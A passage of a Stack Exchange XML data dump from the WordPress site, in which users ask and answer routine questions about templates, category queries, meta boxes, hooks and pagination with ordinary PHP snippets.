LastEditDate="2011-05-28T09:15:54.857" LastActivityDate="2011-05-28T09:15:54.857" Title="Exclude a category from a query that includes its parent category" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;conditional-content&gt;" AnswerCount="1" />
  <row Id="17388" PostTypeId="2" ParentId="17385" CreationDate="2011-05-16T13:41:53.150" Score="3" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;single_template&lt;/code&gt; filter hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Filter the single_template with our custom function*/&#xA;add_filter('single_template', 'my_custom_template');&#xA;&#xA;function my_custom_template($single) {&#xA;    global $wp_query, $post;&#xA;&#xA;/* Checks for single template by post type */&#xA;if ($post-&amp;gt;post_type == &quot;POST TYPE NAME&quot;){&#xA;    if(file_exists(PLUGIN_PATH. '/Custom_File.php'))&#xA;        return PLUGIN_PATH . '/Custom_File.php';&#xA;}&#xA;    return $single;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-16T13:41:53.150" />
  <row Id="17389" PostTypeId="1" CreationDate="2011-05-16T13:45:44.033" Score="0" ViewCount="84" Body="&lt;p&gt;I'm making use of the &lt;a href=&quot;http://wordpress.org/extend/plugins/baap-mobile-version/other_notes/&quot; rel=&quot;nofollow&quot;&gt;BAAP mobile framework&lt;/a&gt; and using a dotmobi theme. However, when testing the site in my mobile, it takes a lot of time and I reckon this must be due to the various jquery scripts in my main theme.. Is there a way to remove jquery scripts when the mobile page is loaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, my mobile theme automatically loads, jcarousellite, wp super pop js scripts and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a bit of research and I came across this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php remove_action($tag, $function_to_remove, $priority, $accepted_args); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where do I include this piece of code&lt;/li&gt;&#xA;&lt;li&gt;What if my plugin doesn't use $tag&lt;/li&gt;&#xA;&lt;li&gt;How to use the priority and $accepted_args&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5411" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-16T14:30:31.377" LastActivityDate="2011-05-16T14:30:31.377" Title="How to selectively remove jquery scripts from a wordpress mobile theme" Tags="&lt;jquery&gt;&lt;mobile&gt;" CommentCount="2" />
  <row Id="17390" PostTypeId="2" ParentId="17387" CreationDate="2011-05-16T13:50:35.733" Score="2" ViewCount="" Body="&lt;p&gt;First you should move &lt;code&gt;wp_reset_query();&lt;/code&gt; outside of the loop instead of resetting the query every post of the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as for your query you can use &lt;code&gt;category__not_in&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'cat' =&amp;gt;  14,&#xA;    'category__not_in' =&amp;gt; array('45'),&#xA;    'posts_per_page' =&amp;gt; 20&#xA;);&#xA;&#xA;$the_query = new WP_Query($args);&#xA;while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();?&amp;gt;    &#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; class=&quot;postTitleLink&quot;&amp;gt;&#xA;            &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will exclude all posts of category 45.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-16T13:50:35.733" CommentCount="0" />
  <row Id="17391" PostTypeId="1" AcceptedAnswerId="17416" CreationDate="2011-05-16T14:04:45.627" Score="0" ViewCount="56" Body="&lt;p&gt;I need to clean up my database and I think that a way to do and keep it that way is by deleting all posts that have 3 days of life. One good thing is that those posts I want to delete are in a specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I clean up my database correctly by deleting or moving thoem and also their posts_meta or terms or anything ? I want to just have/show the posts that are 3 days or earlier.&lt;/p&gt;&#xA;" OwnerUserId="4448" LastActivityDate="2011-05-16T17:26:32.337" Title="Your ideas on my though &quot;delete or move all of the posts in a specific category when 3 days are passed&quot;" Tags="&lt;posts&gt;&lt;database&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" />
  <row Id="17392" PostTypeId="2" ParentId="17386" CreationDate="2011-05-16T14:11:42.890" Score="1" ViewCount="" Body="&lt;p&gt;Check your variables before you work with them. Your save function gets a parameter &lt;code&gt;$post_id&lt;/code&gt;. Use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my &lt;a href=&quot;https://github.com/toscho/Custom-Post-Type-Demos/blob/master/class.Toscho_Meta_Box_Checkbox.php&quot; rel=&quot;nofollow&quot;&gt;meta box class for a check box&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Saves the content to the post meta.&#xA; *&#xA; * @return void&#xA; */&#xA;public function save( $post_id )&#xA;{&#xA;    $this-&amp;gt;is_allowed_save( $post_id ) and&#xA;        update_post_meta( $post_id, $this-&amp;gt;vars['key'],&#xA;            empty ( $_POST[ $this-&amp;gt;vars['key'] ] ) ? 'off' : 'on' );&#xA;}&#xA;&#xA;/**&#xA; * Checks if we should trigger the save action.&#xA; *&#xA; * @param  int  $post_id&#xA; * @return bool&#xA; */&#xA;protected function is_allowed_save( $post_id )&#xA;{&#xA;    // Check integrity, proper action and permission&#xA;    if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;    if ( ! wp_verify_nonce( $this-&amp;gt;nonce, $this-&amp;gt;vars['title'] ) )&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;    if (    ! current_user_can( 'edit_post', $post_id )&#xA;        and ! current_user_can( 'edit_page', $post_id )&#xA;    )&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;DOING_AUTOSAVE&lt;/code&gt; is something you want to avoid. Authorization is the next point, otherwise anybody can post anything to your blog. And prepare the data before you insert them into the DB.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-13T11:01:42.923" LastActivityDate="2011-06-13T11:01:42.923" CommentCount="4" />
  <row Id="17393" PostTypeId="2" ParentId="17380" CreationDate="2011-05-16T14:13:28.163" Score="0" ViewCount="" Body="&lt;p&gt;The way advanced custom field plugin handles checkboxes is in an array so you work with that array, for example if you field name is &lt;code&gt;categories&lt;/code&gt; and you want to see if web (on of the checkboxes) was check you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(in_array('web', get_field('categories') )): ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Web was ticked!&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To answer your questions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;How can I print out the real names (without it saying array)?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;if you want to print out the names instead of the array you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cats = get_field('categories');&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach ($cats as $key =&amp;gt; $val){&#xA;    echo '&amp;lt;li&amp;gt;'.$val.'&amp;lt;/li&amp;gt;';&#xA;}&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this should give you something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;option_1&lt;/li&gt;&#xA;&lt;li&gt;option_2&lt;/li&gt;&#xA;&lt;li&gt;option_9&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2 Also say if it = web and matches the&#xA;  page title then echo something?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;just like the first code snippet but just add another condition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(in_array('web', get_field('categories') ) &amp;amp;&amp;amp; $post-&amp;gt;post_title == &quot;web&quot;){&#xA;     echo  '&amp;lt;h1&amp;gt;Web was ticked! and matches the page title&amp;lt;/h1&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-16T14:13:28.163" CommentCount="2" />
  <row Id="17394" PostTypeId="1" AcceptedAnswerId="17398" CreationDate="2011-05-16T14:16:20.327" Score="1" ViewCount="52" Body="&lt;p&gt;Is there a way to know what functions are hooked to a particular hook? For example if I'd like to know what functions are hooked to the wp_head hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-05-16T14:26:46.200" Title="How to know what functions are hooked to an action/filter?" Tags="&lt;filters&gt;&lt;hooks&gt;&lt;actions&gt;&lt;add-action&gt;&lt;apply-filters&gt;" AnswerCount="3" />
  <row Id="17395" PostTypeId="1" AcceptedAnswerId="17418" CreationDate="2011-05-16T14:16:35.180" Score="1" ViewCount="104" Body="&lt;p&gt;Could you please suggest me good plugins (that you have used) for translating a WordPress website? It should be wonderful if you can add as well a pros and cons list with your suggestion. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5417" LastActivityDate="2011-06-12T14:45:48.260" Title="Suggestions for i18n plugin" Tags="&lt;plugins&gt;&lt;translation&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="17396" PostTypeId="2" ParentId="17369" CreationDate="2011-05-16T14:18:30.683" Score="1" ViewCount="" Body="&lt;p&gt;Using Role editor or role scope you can set contributors to edit you custom post type but not publish so every change will be set as draft until approval, and to limit the creation of new posts of your custom post type you can use my plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-posts-creation-limits/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Bainternet Posts Creation Limits&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To force re approval of edits add this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data','re_aprove');&#xA;function re_aprove($data , $postarr){&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;    //check if current user is not admin&#xA;    if (!current_user_can('manage_options') &amp;amp;&amp;amp; $postarr['post_type'] == &quot;YOUR_CUSTOM_TYPE&quot; ){ &#xA;        if ($data['post_status'] = &quot;publish&quot;){&#xA;            $data['post_status'] = &quot;pending&quot;;&#xA;        }&#xA;    }&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change &lt;code&gt;YOUR_CUSTOM_TYPE&lt;/code&gt; to your custom post type name.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-18T17:53:32.873" LastActivityDate="2011-05-18T17:53:32.873" CommentCount="6" />
  <row Id="17397" PostTypeId="2" ParentId="17394" CreationDate="2011-05-16T14:22:27.670" Score="2" ViewCount="" Body="&lt;p&gt;Look into the global variable &lt;code&gt;$wp_filter&lt;/code&gt;. See my &lt;a href=&quot;https://gist.github.com/867302&quot; rel=&quot;nofollow&quot;&gt;plugin for a list of all comment filters&lt;/a&gt; for an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: List Comment Filters&#xA;Description: List all comment filters on wp_footer&#xA;Version:     1.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL v2&#xA;*/&#xA;&#xA;add_action( 'wp_footer', 'list_comment_filters' );&#xA;&#xA;function list_comment_filters()&#xA;{&#xA;    global $wp_filter;&#xA;&#xA;    $comment_filters = array ();&#xA;    $h1  = '&amp;lt;h1&amp;gt;Current Comment Filters&amp;lt;/h1&amp;gt;';&#xA;    $out = '';&#xA;    $toc = '&amp;lt;ul&amp;gt;';&#xA;&#xA;    foreach ( $wp_filter as $key =&amp;gt; $val )&#xA;    {&#xA;        if ( FALSE !== strpos( $key, 'comment' ) )&#xA;        {&#xA;            $comment_filters[$key][] = var_export( $val, TRUE );&#xA;        }&#xA;    }&#xA;&#xA;    foreach ( $comment_filters as $name =&amp;gt; $arr_vals )&#xA;    {&#xA;        $out .= &quot;&amp;lt;h2 id=$name&amp;gt;$name&amp;lt;/h2&amp;gt;&amp;lt;pre&amp;gt;&quot; . implode( &quot;\n\n&quot;, $arr_vals ) . '&amp;lt;/pre&amp;gt;';&#xA;        $toc .= &quot;&amp;lt;li&amp;gt;&amp;lt;a href='#$name'&amp;gt;$name&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    print &quot;$h1$toc&amp;lt;/ul&amp;gt;$out&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample output for &lt;code&gt;pre_comment_author_email&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  10 =&amp;gt; &#xA;  array (&#xA;    'trim' =&amp;gt; &#xA;    array (&#xA;      'function' =&amp;gt; 'trim',&#xA;      'accepted_args' =&amp;gt; 1,&#xA;    ),&#xA;    'sanitize_email' =&amp;gt; &#xA;    array (&#xA;      'function' =&amp;gt; 'sanitize_email',&#xA;      'accepted_args' =&amp;gt; 1,&#xA;    ),&#xA;    'wp_filter_kses' =&amp;gt; &#xA;    array (&#xA;      'function' =&amp;gt; 'wp_filter_kses',&#xA;      'accepted_args' =&amp;gt; 1,&#xA;    ),&#xA;  ),&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-16T14:22:27.670" />
  <row Id="17398" PostTypeId="2" ParentId="17394" CreationDate="2011-05-16T14:23:06.860" Score="2" ViewCount="" Body="&lt;p&gt;I'm pretty sure that this does what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rarst.net/script/debug-wordpress-hooks/&quot; rel=&quot;nofollow&quot;&gt;@Rarst's Debug WordPress hooks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-16T14:23:06.860" CommentCount="1" />
  <row Id="17399" PostTypeId="2" ParentId="17394" CreationDate="2011-05-16T14:26:46.200" Score="1" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/307/where-can-i-find-a-list-of-wordpress-hooks/339#339&quot;&gt;&lt;strong&gt;this answer&lt;/strong&gt;&lt;/a&gt; to a similar question and more specifically the plugin posted there by mike.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-16T14:26:46.200" CommentCount="4" />
  <row Id="17400" PostTypeId="1" AcceptedAnswerId="18781" CreationDate="2011-05-16T14:32:09.330" Score="2" ViewCount="194" Body="&lt;p&gt;I have learned how to create a post from the frontend but how about editing it ?&#xA;This is the code &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15283/i-am-trying-to-create-a-simple-frontend-form-for-posting/15288#15288&quot;&gt;I am trying to create a simple frontend form for posting.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="4448" LastActivityDate="2011-05-31T07:39:25.193" Title="How can I edit a post from the frontend?" Tags="&lt;posts&gt;&lt;front-end&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17401" PostTypeId="1" AcceptedAnswerId="17410" CreationDate="2011-05-16T14:38:30.690" Score="0" ViewCount="231" Body="&lt;p&gt;I have a custom pagination function in functions.php. If I'm at the URL: &lt;a href=&quot;http://mysite.com/tag/dogs&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/tag/dogs&lt;/a&gt;, the Next link currently just contains /page/2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it so it will look like /tag/dogs/page/2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function I am using: (originally posted &lt;a href=&quot;http://sltaylor.co.uk/blog/better-wordpress-pagination/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pagination( $query, $baseURL = '' ) {&#xA;    if ( ! $baseURL ) $baseURL = get_bloginfo( 'url' );&#xA;    $page = $query-&amp;gt;query_vars[&quot;paged&quot;];&#xA;    if ( !$page ) $page = 1;&#xA;    $qs = $_SERVER[&quot;QUERY_STRING&quot;] ? &quot;?&quot;.$_SERVER[&quot;QUERY_STRING&quot;] : &quot;&quot;;&#xA;    // Only necessary if there's more posts than posts-per-page&#xA;    if ( $query-&amp;gt;found_posts &amp;gt; $query-&amp;gt;query_vars[&quot;posts_per_page&quot;] ) {&#xA;        echo '&amp;lt;ul class=&quot;paging&quot;&amp;gt;';&#xA;        // Previous link?&#xA;        if ( $page &amp;gt; 1 ) {&#xA;            echo '&amp;lt;li class=&quot;previous&quot;&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.($page-1).'/'.$qs.'&quot;&amp;gt;« previous&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;        // Loop through pages&#xA;        for ( $i=1; $i &amp;lt;= $query-&amp;gt;max_num_pages; $i++ ) {&#xA;            // Current page or linked page?&#xA;            if ( $i == $page ) {&#xA;                echo '&amp;lt;li class=&quot;active&quot;&amp;gt;'.$i.'&amp;lt;/li&amp;gt;';&#xA;            } else {&#xA;                echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.$i.'/'.$qs.'&quot;&amp;gt;'.$i.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            }&#xA;        }&#xA;        // Next link?&#xA;        if ( $page &amp;lt; $query-&amp;gt;max_num_pages ) {&#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.($page+1).'/'.$qs.'&quot;&amp;gt;next »&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;/ul&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5267" LastEditorUserId="5267" LastEditorDisplayName="" LastEditDate="2011-05-16T16:10:19.367" LastActivityDate="2011-05-16T16:58:38.707" Title="How to get category/tag in URL for Pagination links?" Tags="&lt;pagination&gt;&lt;urls&gt;&lt;query&gt;&lt;links&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17402" PostTypeId="2" ParentId="17395" CreationDate="2011-05-16T14:42:25.237" Score="2" ViewCount="" Body="&lt;p&gt;While the latest version is not free, &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; seems to be the most complete and best supported plugin for multilingual sites.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-05-16T14:42:25.237" CommentCount="3" />
  <row Id="17403" PostTypeId="2" ParentId="17400" CreationDate="2011-05-16T14:53:28.423" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/front-end-editor&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Scribu Front End Editor&lt;/strong&gt;&lt;/a&gt; havent tried it personally but i have read good stuff about it&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-16T14:53:28.423" CommentCount="2" />
  <row Id="17404" PostTypeId="1" CreationDate="2011-05-16T15:12:16.897" Score="1" ViewCount="115" Body="&lt;p&gt;I want to have a wordpress &quot;A-Z&quot; navigation menu &lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this site &quot;http://www.sharephp.com/&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugin or a hack for wordpress to do this ?&lt;/p&gt;&#xA;" OwnerUserId="5419" LastActivityDate="2011-08-14T16:23:49.400" Title="Wordpress A-Z Navigation" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="17406" PostTypeId="2" ParentId="17404" CreationDate="2011-05-16T15:27:09.833" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/azindex/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/azindex/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Only plugin I could find that does A-Z lists&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise this is going to be a custom code job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One hack way of doing this without much coding would be to make categories or tags for each letter, although I wouldn't recommend doing it this way.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-16T15:27:09.833" CommentCount="1" />
  <row Id="17407" PostTypeId="2" ParentId="17383" CreationDate="2011-05-16T15:49:15.790" Score="1" ViewCount="" Body="&lt;p&gt;Save each meta box out to a file with the code as if they were in your functions.php file. Maybe place these in a folder called meta_boxes. Then to include into your theme just &lt;code&gt;include()&lt;/code&gt; them into your functions file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// all the code that your functions file contains&#xA;include(&quot;meta_boxes/meta1.php&quot;);&#xA;include(&quot;meta_boxes/meta2.php&quot;);&#xA;include(&quot;meta_boxes/meta3.php&quot;);&#xA;include(&quot;meta_boxes/meta4.php&quot;);&#xA;// As so on....&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-16T15:49:15.790" CommentCount="5" />
  <row Id="17408" PostTypeId="1" CreationDate="2011-05-16T15:56:51.630" Score="0" ViewCount="441" Body="&lt;p&gt;Hi All&#xA;I visited a website which has a Multiple Drop-Down custom taxonomies search ;besides,I know this is not a WP website. But I am interested to know how I can have a Multiple Drop-Down custom taxonomies search in Wordpress. Till now I couldn't find any thing helpful. Can you please let me know if you know any thing about that?&#xA;This is the website I mentioned: &#xA;&lt;a href=&quot;http://www.tirerack.com/tires/index.jsp?camefrom=&amp;amp;fromIndex=true&amp;amp;index=xx&quot; rel=&quot;nofollow&quot;&gt;http://www.tirerack.com/tires/index.jsp?camefrom=&amp;amp;fromIndex=true&amp;amp;index=xx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5420" LastActivityDate="2011-08-16T05:25:14.170" Title="Multiple Drop-Down custom taxonomies search" Tags="&lt;custom-taxonomy&gt;&lt;multiple&gt;&lt;multi-taxonomy-query&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17409" PostTypeId="2" ParentId="17408" CreationDate="2011-05-16T16:07:42.677" Score="0" ViewCount="" Body="&lt;p&gt;use wordpress  &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-custom-fields-search/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom fields search&lt;/strong&gt;&lt;/a&gt; plugin / widget. Its no longer supported but really easy to convert to search custom taxonomies buy changing one line of code in the plugin..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;open up the plugin folder and find the file named:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extra_search_fields.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;around line 292 look for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$where.= &quot; AND ($wpdb-&amp;gt;posts.post_type='post')&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change it too&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$where.= &quot; AND ($wpdb-&amp;gt;posts.post_type='NAME OF YOUR CUSTOM POST TYPE')&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and around line 676 look for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;param('taxonomy','category');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change that too&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;param('taxonomy','NAME OF YOUR TAXONOMY');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps...&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-16T16:07:42.677" />
  <row Id="17410" PostTypeId="2" ParentId="17401" CreationDate="2011-05-16T16:13:43.410" Score="1" ViewCount="" Body="&lt;p&gt;Why can you not use the core functions &lt;code&gt;previous_posts_link()&lt;/code&gt;/&lt;code&gt;next_posts_link()&lt;/code&gt; or &lt;code&gt;posts_nav_link()&lt;/code&gt;, all of which already account for the taxonomy archive context?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I understand your question now. You want &lt;em&gt;pagination&lt;/em&gt; links, rather than &lt;em&gt;previous/next page&lt;/em&gt; links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress also has a native function for pagination links: &lt;code&gt;paginate_links()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I use this function in my own Theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function oenology_paginate_archive_page_links( $type = 'plain', $endsize = 1, $midsize = 1 ) {&#xA;    global $wp_query, $wp_rewrite;  &#xA;    $wp_query-&amp;gt;query_vars['paged'] &amp;gt; 1 ? $current = $wp_query-&amp;gt;query_vars['paged'] : $current = 1;&#xA;&#xA;    // Sanitize input argument values&#xA;    if ( ! in_array( $type, array( 'plain', 'list', 'array' ) ) ) $type = 'plain';&#xA;    $endsize = (int) $endsize;&#xA;    $midsize = (int) $midsize;&#xA;&#xA;    // Setup argument array for paginate_links()&#xA;    $pagination = array(&#xA;        'base' =&amp;gt; @add_query_arg('page','%#%'),&#xA;        'format' =&amp;gt; '',&#xA;        'total' =&amp;gt; $wp_query-&amp;gt;max_num_pages,&#xA;        'current' =&amp;gt; $current,&#xA;        'show_all' =&amp;gt; false,&#xA;        'end_size' =&amp;gt; $endsize,&#xA;        'mid_size' =&amp;gt; $midsize,&#xA;        'type' =&amp;gt; $type,&#xA;        'prev_text' =&amp;gt; '&amp;amp;lt;&amp;amp;lt;',&#xA;        'next_text' =&amp;gt; '&amp;amp;gt;&amp;amp;gt;'&#xA;    );&#xA;&#xA;    if( $wp_rewrite-&amp;gt;using_permalinks() )&#xA;        $pagination['base'] = user_trailingslashit( trailingslashit( remove_query_arg( 's', get_pagenum_link( 1 ) ) ) . 'page/%#%/', 'paged' );&#xA;&#xA;    if( !empty($wp_query-&amp;gt;query_vars['s']) )&#xA;        $pagination['add_args'] = array( 's' =&amp;gt; get_query_var( 's' ) );&#xA;&#xA;    echo paginate_links( $pagination );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-16T16:58:38.707" LastActivityDate="2011-05-16T16:58:38.707" CommentCount="3" />
  <row Id="17411" PostTypeId="1" AcceptedAnswerId="17429" CreationDate="2011-05-16T16:47:25.860" Score="0" ViewCount="449" Body="&lt;p&gt;i'm trying to set up a mobile theme for my wordpress site. My desktop version uses themejunkie's weekly theme and my mobile version uses dotmobi theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Dotmobi theme pulls out the first image and displays as a thumbnail where as the weekly theme displays the 'featured image' as a thumbnail or a picture that is defined in a custom field value 'thumb'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make use of this same logic for dotmobi as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried get_thumbnail() but that doesn't work. Any help on this please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried by putting this code into my functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get image attachment (sizes: thumbnail, medium, full)&#xA;function get_thumbnail($postid=0, $size='full') {&#xA;    if ($postid&amp;lt;1) &#xA;    $postid = get_the_ID();&#xA;    